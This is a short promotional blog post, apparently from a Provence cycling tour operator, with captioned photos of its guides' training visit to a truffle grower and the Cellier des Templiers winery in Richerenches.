Truffles and Wine Training in Provence!

This weekend we met with a truficulteur and the Cellier Des Templiers winery in Richerenches, a Provence town known for their Truffle Market and delicious wines.

After in-depth training sessions, our guides have never been more ready to receive our guests along the routes of our Provence cycling tours this spring!


Our studious Discover France team, ready to learn about eating and drinking in Provence along our Provence bike routes.



A fourth generation truffle guy (truficulteur)! He knows his truffles. In fact, his family represents 30% of the truffle market in France!



This is a very expensive photo!



Francois could be a star, of a truffle advertisement.



He told us about the life cycle of a truffle. (They don’t live long after they have been found.)


The team at Cellier Des Templiers eagerly soaking up knowledge and sips of wine.



These lovely limited edition bottles have been especially painted by an artist from the village.



Origine Templiers is the best terroir Côtes Du Rhône. It’s 50% grenache and 50% syrah and must be opened after 5 or 6 years.


Cellier Des Templiers Diamant Noir, a reference to the area’s special black truffles. This wine tastes great with a truffle brouillade (omelette)!
